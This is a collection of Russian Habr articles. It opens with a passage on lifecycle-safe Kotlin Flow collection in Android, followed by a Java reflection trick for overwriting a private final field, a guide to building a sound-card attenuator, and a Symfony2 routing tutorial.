будет эмитировать элементы в буфер в фоновом режиме, таким образом будут расходоваться ресурсы.
> **Примечание:** Холодный поток — это тип потока, который по требованию выполняет блок кода производителя, когда необходимо собрать данные для нового подписчика.
>
>
Например, рассмотрим этот поток, который выдает обновления местоположения с помощью [callbackFlow](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/callback-flow.html):
```
// Implementation of a cold flow backed by a Channel that sends Location updates
fun FusedLocationProviderClient.locationFlow() = callbackFlow {
val callback = object : LocationCallback() {
override fun onLocationResult(result: LocationResult?) {
result ?: return
try { offer(result.lastLocation) } catch(e: Exception) {}
}
}
requestLocationUpdates(createLocationRequest(), callback, Looper.getMainLooper())
.addOnFailureListener { e ->
close(e) // in case of exception, close the Flow
}
// clean up when Flow collection ends
awaitClose {
removeLocationUpdates(callback)
}
}
```
> **Примечание:** Внутри `callbackFlow` использует [канал](https://kotlinlang.org/docs/reference/coroutines/channels.html), который концептуально очень похож на [очередь](https://en.wikipedia.org/wiki/Queue_(abstract_data_type)) блокировки и имеет емкость по умолчанию 64 элемента.
>
>
Сбор этого потока из пользовательского интерфейса с помощью любого из вышеупомянутых API обеспечивает передачу местоположений, даже если представление не отображает их в пользовательском интерфейсе! См. пример ниже:
```
class LocationActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Collects from the flow when the View is at least STARTED and
// SUSPENDS the collection when the lifecycle is STOPPED.
// Collecting the flow cancels when the View is DESTROYED.
lifecycleScope.launchWhenStarted {
locationProvider.locationFlow().collect {
// New location! Update the map
}
}
// Same issue with:
// - lifecycleScope.launch { /* Collect from locationFlow() here */ }
// - locationProvider.locationFlow().onEach { /* ... */ }.launchIn(lifecycleScope)
}
}
```
`lifecycleScope.launchWhenStarted` приостанавливает выполнение корутины. Новые местоположения не обрабатываются, но производитель `callbackFlow` тем не менее продолжает отправлять местоположения. Использование API `lifecycleScope.launch` или `launchIn` еще более опасно, поскольку представление продолжает использовать местоположения, даже если оно находится в фоновом режиме! Что потенциально может привести к отказу вашего приложения.
Чтобы решить эту проблему с этими API, вам нужно будет вручную отменить сбор данных, когда представление перейдет в фоновый режим, чтобы отменить `callbackFlow` и избежать такого, когда провайдер местоположений будет эмитировать элементы и тратить ресурсы. Например, вы можете сделать что-то вроде следующего:
```
class LocationActivity : AppCompatActivity() {
// Coroutine listening for Locations
private var locationUpdatesJob: Job? = null
override fun onStart() {
super.onStart()
locationUpdatesJob = lifecycleScope.launch {
locationProvider.locationFlow().collect {
// New location! Update the map
}
}
}
override fun onStop() {
// Stop collecting when the View goes to the background
locationUpdatesJob?.cancel()
super.onStop()
}
}
```
Это хорошее решение, но это шаблонный код, друзья! И если существует всеобщая истина о разработчиках Android, то она такова, что мы совершенно не любим писать шаблонный код. Одно из самых больших преимуществ отказа от написания шаблонного кода заключается в том, что при небольшом количестве кода меньше шансов совершить ошибку!
### Lifecycle.repeatOnLifecycle
Теперь, когда мы пришли к единому мнению и знаем, где кроется проблема, настало время придумать решение. Решение должно быть 1) простым, 2) дружественным или легким для запоминания/понимания, и, что более важно, 3) безопасным! Оно должно работать для всех случаев использования, независимо от деталей имплементации потока.
Без лишних слов, API, который вы должны использовать, это `Lifecycle.repeatOnLifecycle`, доступный в библиотеке [lifecycle-runtime-ktx](https://developer.android.com/jetpack/androidx/releases/lifecycle).
> **Примечание:** Эти API доступны в библиотеке `lifecycle:lifecycle-runtime-ktx:2.4.0-alpha01` или более поздней версии.
>
>
Взгляните на следующий код:
```
class LocationActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Create a new coroutine since repeatOnLifecycle is a suspend function
lifecycleScope.launch {
// The block passed to repeatOnLifecycle is executed when the lifecycle
// is at least STARTED and is cancelled when the lifecycle is STOPPED.
// It automatically restarts the block when the lifecycle is STARTED again.
lifecycle.repeatOnLifecycle(Lifecycle.State.STARTED) {
// Safely collect from locationFlow when the lifecycle is STARTED
// and stops collection when the lifecycle is STOPPED
locationProvider.locationFlow().collect {
// New location! Update the map
}
}
}
}
}
```
`repeatOnLifecycle` — это функция приостановки, принимающая [Lifecycle.State](https://developer.android.com/reference/android/arch/lifecycle/Lifecycle.State) в качестве параметра, который используется для автоматического создания и запуска новой корутины с переданным ей блоком, когда жизненный цикл достигает этого `state`, и отмены текущей корутины, выполняющей этот блок, когда жизненный цикл падает ниже `state`.
Это позволяет обойтись без использования шаблонного кода, поскольку код, для отмены корутины, когда она больше не нужна, автоматически выполняется функцией `repeatOnLifecycle`. Как вы могли догадаться, рекомендуется вызывать этот API в методах `onCreate` активности или `onViewCreated` фрагмента, чтобы избежать неожиданного поведения. Смотрите пример ниже с использованием фрагментов:
```
class LocationFragment: Fragment() {
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
// ...
viewLifecycleOwner.lifecycleScope.launch {
viewLifecycleOwner.repeatOnLifecycle(Lifecycle.State.STARTED) {
locationProvider.locationFlow().collect {
// New location! Update the map
}
}
}
}
}
```
**Важно:** Фрагменты *всегда* должны использовать `viewLifecycleOwner` для запуска обновлений пользовательского интерфейса. Однако это не относится к `DialogFragments`, у которых иногда может не быть View. Для `DialogFragments` можно использовать `lifecycleOwner`.
> **Примечание:** Эти API доступны в библиотеке `lifecycle:lifecycle-runtime-ktx:2.4.0-alpha01` или более поздней версии.
>
>
**Копнем глубже!**
`repeatOnLifecycle` приостанавливает вызывающую корутину, повторно запускает блок, когда жизненный цикл переходит в таргет `state` и из него в новую корутину, и возобновляет вызывающую корутину, когда Lifecycle уничтожается. Последний пункт очень важен: вызывающая программа, которая вызывает `repeatOnLifecycle`, не возобновит выполнение до тех пор, пока жизненный цикл не будет уничтожен.
```
class LocationActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Create a coroutine
lifecycleScope.launch {
lifecycle.repeatOnLifecycle(Lifecycle.State.RESUMED) {
// Repeat when the lifecycle is RESUMED, cancel when PAUSED
}
// `lifecycle` is DESTROYED when the coroutine resumes. repeatOnLifecycle
// suspends the execution of the coroutine until the lifecycle is DESTROYED.
}
}
}
```
### Визуальная диаграмма
Возвращаясь к началу, сбор `locationFlow` непосредственно из корутины, запущенной с помощью `lifecycleScope.launch`, был опасен, поскольку он продолжался, даже когда представление находилось в фоновом режиме.
`repeatOnLifecycle` предотвращает трату ресурсов и сбои приложения, поскольку останавливает и перезапускает сбор потока, когда жизненный цикл переходит в таргет-состояние и обратно.
Разница между использованием и неиспользованием API repeatOnLifecycle### Flow.flowWithLifecycle
Вы также можете использовать оператор `Flow.flowWithLifecycle`, когда у вас есть только один поток для сбора. Этот API использует `repeatOnLifecycle`, эмитирует элементы и отменяет стандартного производителя, когда Lifecycle переходит в таргет-состояние и выходит из него.
```
class LocationActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Listen to one flow in a lifecycle-aware manner using flowWithLifecycle
lifecycleScope.launch {
locationProvider.locationFlow()
.flowWithLifecycle(this, Lifecycle.State.STARTED)
.collect {
// New location! Update the map
}
}
// Listen to multiple flows
lifecycleScope.launch {
lifecycle.repeatOnLifecycle(Lifecycle.State.STARTED) {
// As collect is a suspend function, if you want to collect
// multiple flows in parallel, you need to do so in
// different coroutines
launch {
flow1.collect { /* Do something */ }
}
launch {
flow2.collect { /* Do something */ }
}
}
}
}
}
```
> **Примечание**: Это API использует оператор `Flow.flowOn(CoroutineContext)` в качестве прецедента, поскольку `Flow.flowWithLifecycle` изменяет `CoroutineContext`, используемый для сбора восходящего потока, оставляя при этом нисходящий поток незатронутым. Также, подобно `flowOn`, `Flow.flowWithLifecycle` добавляет буфер на случай, если потребитель не успевает за производителем. Это связано с тем, что его имплементация использует `callbackFlow`.
>
>
### Настройка производителя стандартного потока
Если вы используете эти API, остерегайтесь *горячих* потоков, которые могут тратить ресурсы, хотя данные потоки никто не собирает! Имейте ввиду, что для них есть несколько подходящих случаев использования, и если это необходимо, документируйте. Наличие активного производителя стандартного потока в фоновом режиме, даже если он тратит ресурсы, может быть полезно для некоторых сценариев использования: вы мгновенно получаете свежие данные, а не *наверстываете упущенное* и временно показываете несвежие данные. В зависимости от сценария использования, решите, должен ли производитель быть всегда активным или нет.
API `MutableStateFlow` и `MutableSharedFlow` предоставляют поле `subscriptionCount`, которое можно использовать для остановки производителя стандартного потока, когда `subscriptionCount` равно нулю. По умолчанию они будут поддерживать производителя активным до тех пор, пока объект, содержащий экземпляр потока, находится в памяти. Однако для этого есть несколько подходящих случаев использования, например, `UiState`, передаваемый из `ViewModel` в UI с помощью `StateFlow`. Это нормально! Этот случай использования требует, чтобы `ViewModel` всегда предоставляла последнее состояние пользовательского интерфейса представлению.
Точно так же операторы [Flow.stateIn](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/state-in.html) и [Flow.shareIn](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/share-in.html) могут быть сконфигурированы для этого с [правилами запуска общего доступа](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/-sharing-started/index.html). [WhileSubscribed()](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/-sharing-started/-while-subscribed.html) остановит производителя стандартного потока, если нет активных наблюдателей! Напротив, [Eagerly](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/-sharing-started/-eagerly.html) или [Lazily](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/-sharing-started/-lazily.html) будут поддерживать базового производителя активным до тех пор, пока активен CoroutineScope, который они используют.
> **Примечание:** API, показанные в этой статье, являются хорошим вариантом по умолчанию для сбора потоков из пользовательского интерфейса и должны использоваться независимо от деталей реализации потока. Эти API делают то, что должны: прекращают сбор, если пользовательский интерфейс не виден на экране. Это зависит от имплементации потока, должен ли он быть всегда активным или нет.
>
>
### Безопасный сбор Flow в Jetpack Compose
Функция [Flow.collectAsState](https://developer.android.com/reference/kotlin/androidx/compose/runtime/package-summary#collectasstate) используется в Compose для сбора потоков из компонуемых объектов и представления значений в виде [State](https://developer.android.com/reference/kotlin/androidx/compose/runtime/State) для обновления пользовательского интерфейса (UI) `Compose`. Даже если `Compose` не перекомпоновывает UI, когда активность хоста или фрагмента находится в фоновом режиме, производитель потоков все еще активен и может тратить ресурсы. `Compose` может испытывать аналогичную проблему, что и система представления (View).
При сборе потоков в `Compose` используйте оператор `Flow.flowWithLifecycle` следующим образом:
```
@Composable
fun LocationScreen(locationFlow: Flow) {
val lifecycleOwner = LocalLifecycleOwner.current
val locationFlowLifecycleAware = remember(locationFlow, lifecycleOwner) {
locationFlow.flowWithLifecycle(lifecycleOwner.lifecycle, Lifecycle.State.STARTED)
}
val location by locationFlowLifecycleAware.collectAsState()
// Current location, do something with it
}
```
Обратите внимание, что вам [требуется](https://developer.android.com/jetpack/compose/state) поток [remember](https://developer.android.com/jetpack/compose/state), который знает о жизненном цикле, с `locationFlow` и `lifecycleOwner` в качестве ключей, чтобы всегда использовать один и тот же поток, если только один из ключей не изменится.
В Compose побочные эффекты должны выполняться в [контролируемой среде](https://developer.android.com/jetpack/compose/lifecycle#state-effect-use-cases). Для этого используйте [LaunchedEffect](https://developer.android.com/reference/kotlin/androidx/compose/runtime/package-summary#launchedeffect_1), чтобы создать корутину, которая следует за жизненным циклом составного компонента. В ее блоке вы можете вызвать приостановку `Lifecycle.repeatOnLifecycle`, если вам нужно, чтобы она повторно запустила блок кода, когда жизненный цикл хоста находится в определенном `State`.
### Сравнение с LiveData
Вы могли заметить, что этот API ведет себя аналогично [LiveData](https://developer.android.com/topic/libraries/architecture/livedata), и это действительно так! `LiveData` знает о `Lifecycle`, и возможность перезапуска делает его идеальным для наблюдения за потоками данных из пользовательского интерфейса. Это также справедливо для API `Lifecycle.repeatOnLifecycle` и `Flow.flowWithLifecycle`!
Сбор потоков с помощью этих API является естественной заменой `LiveData` в приложениях, работающих *только на Kotlin*. Если вы используете эти API для сбора потоков, `LiveData` не имеет никаких преимуществ перед корутинами и потоками. Более того, потоки более гибкие, так как их можно собирать из любого `Dispatcher`, и они могут работать со всеми его [операторами](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/-flow/). В отличие от `LiveData`, который имеет ограниченное количество доступных операторов и значения которых всегда наблюдаются из потока UI.
### Поддержка StateFlow в связывании данных
С другой стороны, одна из причин, по которой вы, возможно, используете LiveData, заключается в том, что он поддерживается в привязке данных. Так вот, [StateFlow](https://developer.android.com/kotlin/flow/stateflow-and-sharedflow) также имеет такую поддержку! Для получения дополнительной информации о поддержке `StateFlow` в привязке данных [ознакомьтесь с официальной документацией](https://developer.android.com/topic/libraries/data-binding/observability#stateflow).
**. . .**
Используйте API `Lifecycle.repeatOnLifecycle` или `Flow.flowWithLifecycle` для безопасного сбора потоков данных из пользовательского интерфейса в Android.
---
> Перевод материала подготовлен в преддверии старта курса ["Android Developer. Basic"](https://otus.pw/Ln8c/).
>
> | https://habr.com/ru/post/564050/ | null | ru | null |
# Java и паттерн Public Morozov
Однажды понадобилось мне переопределить на работающей программе поле, помеченное как private final. Причем останавливать программу было нельзя, ибо сервер. Ну и как маленькое дополнение тип переменной был определен как inner класс. Разумеется тоже private.
К счастью, программа позволяет на ходу подключать модули, содержащие произвольный код. А значит — в нашем распоряжении вся мощь reflection!
Напоминаю, что это proof-of-concept, поэтому для конкретной задачи придется как минимум установить нужный тип для accessor, и вообще при выдирании кода из контекста некоторые блоки могут потерять смысл. Например в приведенном примере всё будет работать и без замены accessor вообще, достаточно будет снять final. Следует учитывать, что это будет гарантированно работать только для объектов. Примитивы обычно инлайнятся компилятором.
> `package main;
>
>
>
> class PublicMorozov
>
> {
>
> // заготавливаем инстанс, для которого мы будем создавать экземпляр inner класса
>
> private static final PublicMorozov INSTANCE = new PublicMorozov();
>
> // и поле, содержимое которого и будем заменять
>
> private static final java.lang.ref.WeakReference targetField = new java.lang.ref.WeakReference(null);
>
>
>
> private class Inner
>
> {}
>
>
>
> public PublicMorozov()
>
> {}
>
>
>
> public static void makeReplace() throws Exception
>
> {
>
> // получаем через рефлект поле, которое предстоит заменить
>
> java.lang.reflect.Field targetAsField = Class.forName("main.PublicMorozov").getDeclaredField("targetField");
>
> // снимаем с него private
>
> targetAsField.setAccessible(true);
>
>
>
> // получаем адрес поля модификаторов в целевом поле
>
> java.lang.reflect.Field modifiers = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
>
> // снимаем с него private
>
> modifiers.setAccessible(true);
>
>
>
> // снимаем с целевого поля private и final, а вместо них ставим public
>
> modifiers.setInt(targetAsField, targetAsField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
>
> modifiers.setInt(targetAsField, targetAsField.getModifiers() & ~java.lang.reflect.Modifier.PRIVATE);
>
> modifiers.setInt(targetAsField, targetAsField.getModifiers() | java.lang.reflect.Modifier.PUBLIC);
>
>
>
> // но всё не так просто... если попытаться применить изменения то нас может отправить куда подальше с IllegalAccessException
>
> // поэтому мы заменяем accessor на свой, которому будет пофиг на финал
>
> // мы используем именно overrideFieldAccessor поскольку поле изначально было private, в противном случае следует использовать fieldAccessor
>
> java.lang.reflect.Field accessorField = Class.forName("java.lang.reflect.Field").getDeclaredField("overrideFieldAccessor");
>
> // как обычно снимаем с него private
>
> accessorField.setAccessible(true);
>
> // поскольку мы заменяем статический Object нам нужен именно этот тип, их много под разные типы полей и данных
>
> java.lang.reflect.Constructor accessorConstructor = Class.forName("sun.reflect.UnsafeQualifiedStaticObjectFieldAccessorImpl").getDeclaredConstructor(java.lang.reflect.Field.class, boolean.class);
>
> // конструктор тоже сокрыт... но разве нас этим испугаешь?
>
> accessorConstructor.setAccessible(true);
>
> // вот теперь всё нормально - новый accessor на поле final и смотреть не будет
>
> accessorField.set(targetAsField, accessorConstructor.newInstance(targetAsField, false));
>
>
>
> // и на десерт - доступ к inner классу
>
> java.lang.reflect.Constructor innerConstructor = Class.forName("main.PublicMorozov$Inner").getDeclaredConstructor(Class.forName("main.PublicMorozov"));
>
> innerConstructor.setAccessible(true);
>
>
>
> // заменяем таки содержимое нужного поля
>
> targetAsField.set(null, new java.lang.ref.WeakReference((Inner) innerConstructor.newInstance(INSTANCE)));
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/75661/ | null | ru | null |
# Простейший аттенюатор для аудиокарты
В любительской радиотехнике, а именно в области проектирования усилителей низкой (звуковой) частоты, очень удобно использовать для измерений компьютер.
Профессиональные измерительные приборы стоят немалых денег, тогда как аудиокарта имеется почти в любом домашнем компьютере. В совокупности с доступным и разнообразным ПО мы получаем удобный инструмент для снятия всех основных характеристик: АЧХ (амплитудно-частотная характеристика), THD (уровень гармонических искажений), соотношение сигнал/шум и спектрограмму.
Единственным неудобством оказывается слишком чувствительный вход аудиокарты,
на который нельзя подать сигнал, превышающий напряжение 0.5-1.5 вольта.
И здесь на помощь приходит аттенюатор.
Его можно (и нужно) собрать самостоятельно. Ничего хитрого в этом опыте нет, но для тех, кто делает первые шаги в усилителестроении, материал будет полезным.
Аттенюатор является пассивным устройством и фактически, применительно к нашему случаю, представляет собой резистивный делитель напряжения. Его функция — ослабление уровня сигнала (переменного напряжения звуковой частоты) по заданным параметрам. Давайте определим эти параметры.
#### Задача
Необходимо подать на линейный вход аудиокарты сигнал, снятый с выходных клемм усилителя мощности, при этом не перегрузив аудиокарту. Для удобства установим величину выходного напряжения аттенюатора равным **0.775v RMS**. Такое напряжение будет приемлемым для любой современной аудиокарты с линейным входом, к тому же величину 0.775v принято выбирать за опорный уровень (**0dBu**) при измерении абсолютных величин в децибелах.
`Внимание! Обратите внимание на суффикс dB**u** - он означает, что величина (напряжения) указывается безотносительно нагрузки (от англ. *unloaded*).`
Про измерения и децибелы очень рекомендую ознакомиться со статьей Михаила Чернецкого «Что мы измеряем?» (ссылка на публикацию на сайте журнала «Звукорежиссер» есть в конце поста [[1]](#1), но для глаз намного комфортнее читать на [сайте](http://www.long.ru/articles/what/index.html) автора)
Входное напряжение на аттенюаторе выберем таким образом, чтобы оно соответствовало мощности, рассеиваемой на эквивалентной нагрузке в 8 Ohm, и равнялось 1W.
Для среднеквадратичного значения напряжения (RMS) верна следующая формула расчета мощности:
Некоторые считают мощность синусоидального сигнала по формуле **P = Ua^2/2R**, перепутав амплитудное значение напряжения со среднеквадратичным. Может быть у них для этих измерений осциллограф всегда под рукой(?!), мы же используем TrueRMS вольтметр и знаем разницу (и зависимость) между амплитудным и среднеквадратичным значениями напряжения (если поймали себя на мысли, что забыли и нужно срочно освежить память — идем прямиком к Радиокоту [[2]](#1)).
По выше приведенной формуле находим значение **2.83v** (для 1W), **4v** (для 2W) и **5.66v** (для 4W). Обычно для промера характеристик маломощного усилителя этих значений вполне достаточно, но если требуются бОльшие значения — вы без труда рассчитаете их сами.
Не удивляйтесь таким «маленьким» значениям мощности — для примера: [однотактный ламповый усилитель](http://www.levelfive-audio.com/) вашего покорного слуги (режим работы класс «A») мощностью 2W(!) «раскачивает» здоровую напольную акустику безо всякого труда (по немногочисленным просьбам хабрачитателей я в процессе обдумывания статьи про его конструирование, но покамест решил прощупать интерес к теме публикацией данного материала — тут есть связь с компьютерами хотя бы).
Итак, у нас есть входные данные — можно перейти к расчёту.
#### Расчёт
В общем случае формула для расчета делителя без нагрузки выглядит так:
Единственно надо учесть тот факт, что номинал резистора **Z1** должен быть выбран **на 3-4 порядка больше** эквивалентной нагрузки 8 Ohm, чтобы для усилителя подключение атеннюатора осталось «незамеченным» (высокоомный, относительно выхода усилителя, вход аттенюатора практически не изменит значение сопротивления эквивалентной нагрузки, так как подключен параллельно нагрузке в 8 Ohm — вспоминаем правило сложения соединенных параллельно резисторов [[3]](#3)).
Для удобства выберем **Z1=20 kOhm**, тогда номинал нижнего резистора (**Z2**) посчитаем по формуле:
Получим **Z2** = 0.775\*20000/2.828-0.775 = **7550 Ohm**
Аналогично посчитаем номиналы для других входных напряжений: **4v** (для 2W) и **5.66v** (для 4W).
Дотошные читатели наверняка уже заметили, что мы нигде не учитываем входное сопротивление аудиокарты. И дело вот в чём: практически любая звуковая карта изменит сопротивление резистора **Z2**, так как фактически будет представлять собой включенное параллельно к нему сопротивление. Что это означает для нас? Означает, что выходное напряжение нашего аттенюатора будет несколько меньше, чем заложенное в расчётах 0.775v (sic!).
«Так значит надо измерить сопротивление линейного входа, делов-то!», — скажете вы. Но всё не так просто: звуковая карта имеет на входе конденсатор — обычным мультиметром входное сопротивление карты не измерить. Здесь понадобится генератор и осциллограф, не у всех они имеются, поэтому в рамках данной статьи мы **не учитываем** входное сопротивление аудиокарты при расчете.
Однако, на случай, если вы уже знаете сопротивление линейного входа вашей звуковой карты (например, оно указано в спецификации) привожу формулу, учитывающую входное сопротивление аудиокарты при расчете аттенюатора:
где **ZL** — сопротивление линейного входа аудиокарты.
#### Принципиальная схема аттенюатора
В схеме использованы графические обозначения принципиальных схем авторства Сергея Комарова. Рекомендую скачать[[5]](#5) и использовать.
#### Конструкция и детали
Нам понадобятся коннекторы типа «бананы» (2шт.) (или другие разъемы, совместимые с вашим усилителем), один RCA-разъем, поворотный переключатель (rotary switch) и ручка к нему (1/4"), а также резисторы (см. номиналы в схеме).
В качестве корпуса мне пришлось купить пластиковый корпус в «Чип и Дипе» за бешенные 90 рублей. Зато он очень подошел по размеру (65х45х22мм).
Выбор поворотного переключателя — дело вкуса. Можно выбрать самый дешёвый китайский, а можно — качественный. Я выбрал 2-ой вариант и заказал дорогущий Grayhill 71BD36-01-1-AJN. Ресурс 50000 поворотов, контакты ротора покрыты золотом (30 microinches — *любопытная единица толщины покрытия*), «военная приёмка», настоящее американское производство. Я ни разу не агитирую, но ссылку на даташит привожу [[4]](#4).
Переключатель имеет 10 позиций, но нам понадобятся только три.
В идеале ещё нужен минимум инструментов: линейка или штангенциркуль, дрель, ключи-«многогранники» (чтобы закрепить рукоятку на вал).
Земляную шину лучше сделать из медной моножилы. У меня под рукой не было подходящего диаметра и я свил из медного проводника (22AWG) и облудил её бессвинцовым серебресодержащим припоем.
Резисторы можно взять любые, 1-2 ватта. Идеально выбрать проволочные или фольговые — у них минимальный шум. Я выбрал безиндуктивные проволочные Mills.
Припаивать к контактам очень удобно — у них большой шаг, а корпус переключателя сделан из термопластика и можно не опасаться повредить его горячим жалом паяльника.
После того, как закрепили разъемы и припаяли резисторы, можно закрыть корпус крышкой (я закрепил все детали в половинке корпуса), затянуть гайку переключателя, поставить два самореза (прилагаются к корпусу), закрепить ручку на вал и подписать на корпусе значения входных напряжений.
Финиш! Можно приступать к измерениям, но это уже тема для отдельной статьи.
#### Полезные ссылки
[1] [«Что мы измеряем?»](http://rus.625-net.ru/audioproducer/1998/00/c5.htm) (архив журнала «Звукорежиссер»)
[2] [«Измерение выходной мощности усилителей звуковой частоты»](http://radiokot.ru/start/analog/advance/01/) (Обучалка от Радиокота)
[3] [Параллельное соединение резисторов](http://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B7%D0%B8%D1%81%D1%82%D0%BE%D1%80#.D0.9F.D0.B0.D1.80.D0.B0.D0.BB.D0.BB.D0.B5.D0.BB.D1.8C.D0.BD.D0.BE.D0.B5_.D1.81.D0.BE.D0.B5.D0.B4.D0.B8.D0.BD.D0.B5.D0.BD.D0.B8.D0.B5_.D1.80.D0.B5.D0.B7.D0.B8.D1.81.D1.82.D0.BE.D1.80.D0.BE.D0.B2) (страница резистора на Википедии)
[4] [Даташит на Grayhill 71-ой серии](http://www.grayhill.com/catalog/Mech_Encoder_71.pdf)
[5] [«Старая добрая графика принципиальных схем»](http://www.radiostation.ru/home/usilitel-gfx.html) (автор Сергей Комаров) | https://habr.com/ru/post/138448/ | null | ru | null |
# Создаем собственный фреймворк на основе Symfony2. (Часть 4)
* [Часть 1](http://habrahabr.ru/blogs/symfony/136110/)
* [Часть 2](http://habrahabr.ru/blogs/symfony/136430/)
* [Часть 3](http://habrahabr.ru/blogs/symfony/136471/)
* **Часть 4**
* [Часть 5](http://habrahabr.ru/blogs/symfony/138010/)
Прежде чем мы перейдем к сегодняшней теме, немного изменим наш фреймворк, так чтобы сделать шаблонизацию более удобной:
```
php
// example.com/web/front.php
require_once __DIR__.'/../src/autoload.php';
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
$request = Request::createFromGlobals();
$map = array(
'/hello' = 'hello',
'/bye' => 'bye',
);
$path = $request->getPathInfo();
if (isset($map[$path])) {
ob_start();
extract($request->query->all(), EXTR_SKIP);
include sprintf(__DIR__.'/../src/pages/%s.php', $map[$path]);
$response = new Response(ob_get_clean());
} else {
$response = new Response('Not Found', 404);
}
$response->send();
```
Так как мы импортировали переменные из массива запросов в текущую таблицу символов, упростим шаблон *hello.php* следующим образом:
```
Hello php echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?
```
Теперь добавлять новый функционал будет гораздо удобнее.
Важный аспект любого сайта это вид его ссылок. Благодаря карте ссылок, мы отделили их от, генерирующего ассоциативный ответ, кода, но он все еще недостаточно гибкий. Например, что если мы захотим обрабатывать данные из динамически формируемых путей, вместо параметризированной строки:
```
# Before
/hello?name=Fabien
# After
/hello/Fabien
```
Для поддержки этой функции, мы будем использовать компонент Symfony2 – маршрутизацию (Symfony2 *«Routing»*component). Как всегда, добавьте компонент в composer.json и запустить команду `php composer.phar update` для его установки:
```
{
"require": {
"symfony/class-loader": "2.1.*",
"symfony/http-foundation": "2.1.*",
"symfony/routing": "2.1.*"
}
}
```
С этого момента, мы будем использовать сгенерированный Composer’ом автозагрузчик вместо нашего *autoload.php*. Удалите файл *autoload.php* и измените ссылку на него в *front.php*:
```
php
// example.com/web/front.php
require_once __DIR__.'/../vendor/.composer/autoload.php';
// ...
</code
```
Компонент маршрутизации использует экземпляр класса *«RouteCollection»*, вместо массива соответствий (карты ссылок).
```
use Symfony\Component\Routing\RouteCollection;
$routes = new RouteCollection();
```
Давайте добавим маршрут для ссылки вида */hello/SOMETHING* и еще один для простой */bye*:
```
use Symfony\Component\Routing\Route;
$routes->add('hello', new Route('/hello/{name}', array('name' => 'World')));
$routes->add('bye', new Route('/bye'));
```
Каждый элемент коллекции определяется именем (hello) и экземпляром класса *«Route»*, который в свою очередь определяется паттерном роута `(/hello/{name})` и массивом дефолтных атрибутов `(array('name' => 'World'))`.
В официальной документации по данному компоненту вы найдете информацию об остальных его функциях, таких как генерация URL, требования к атрибутам, соблюдение HTTP методов, загрузчик YAML или XML файлов, экспорт rewrite rules в PHP или Apache для повышения производительности, и многое другое.
Основываясь на информации, находящейся в экземпляре класса *«RouteCollection»*, экземпляр класса *«UrlMatcher»* свяжет пути:
```
use Symfony\Component\Routing\RequestContext;
use Symfony\Component\Routing\Matcher\UrlMatcher;
$context = new RequestContext();
$context->fromRequest($request);
$matcher = new UrlMatcher($routes, $context);
$attributes = $matcher->match($request->getPathInfo());
```
Метод **match()** разделяет запрашиваемый путь на массив (обратите внимание, что совпадающие пути автоматически сохраняются под специальным ключом *\_route* ):
```
print_r($matcher->match('/bye'));
array (
'_route' => 'bye',
);
print_r($matcher->match('/hello/Fabien'));
array (
'name' => 'Fabien',
'_route' => 'hello',
);
print_r($matcher->match('/hello'));
array (
'name' => 'World',
'_route' => 'hello',
);
```
Даже если в нашем примере не нужны параметры запроса, они используются на реальных проектах для проверки требований методов и прочее.
Если не удается найти совпадение ни с одним путем, создается исключение:
```
$matcher->match('/not-found');
// throws a Symfony\Component\Routing\Exception\ResourceNotFoundException
```
Теперь используя приобретенные знания, пришло время написать следующую версию нашего фреймворка:
```
php
// example.com/web/front.php
require_once __DIR__.'/../vendor/.composer/autoload.php';
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing;
$request = Request::createFromGlobals();
$routes = include __DIR__.'/../src/app.php';
$context = new Routing\RequestContext();
$context-fromRequest($request);
$matcher = new Routing\Matcher\UrlMatcher($routes, $context);
try {
extract($matcher->match($request->getPathInfo()), EXTR_SKIP);
ob_start();
include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
$response = new Response(ob_get_clean());
} catch (Routing\Exception\ResourceNotFoundException $e) {
$response = new Response('Not Found', 404);
} catch (Exception $e) {
$response = new Response('An error occurred', 500);
}
$response->send();
```
Новые изменения в коде:
• Имена путей используются для названий шаблонов
• Ошибка 500 обрабатывается корректно
• Параметры запроса отделены для сохранения простоты шаблонов
```
Hello php echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?
```
• Конфигурация маршрутов была перемещена в отдельный файл:
```
php
// example.com/src/app.php
use Symfony\Component\Routing;
$routes = new Routing\RouteCollection();
$routes-add('hello', new Routing\Route('/hello/{name}', array('name' => 'World')));
$routes->add('bye', new Routing\Route('/bye'));
return $routes;
```
Мы полностью отделили конфигурацию (все, характеристики нашего приложения — в *app.php*) и фреймворк (остальной код на котором основано наше приложение – в *front.php*).
Добавив около 30 строк кода, мы получили новый фреймворк – более производительный, более гибкий, нежели предыдущий. Наслаждайтесь!
У использования компонента маршрутизации есть еще одно большое преимущество: способность генерировать URL-адреса на основе Route определений. При одновременном использовании URL matching и URL generation в вашем коде, при изменении вида URL не должно быть никаких последствий. Хотите узнать, как использовать генератор? Безумно просто:
```
use Symfony\Component\Routing;
$generator = new Routing\Generator\UrlGenerator($routes, $context);
echo $generator->generate('hello', array('name' => 'Fabien'));
// outputs /hello/Fabien
```
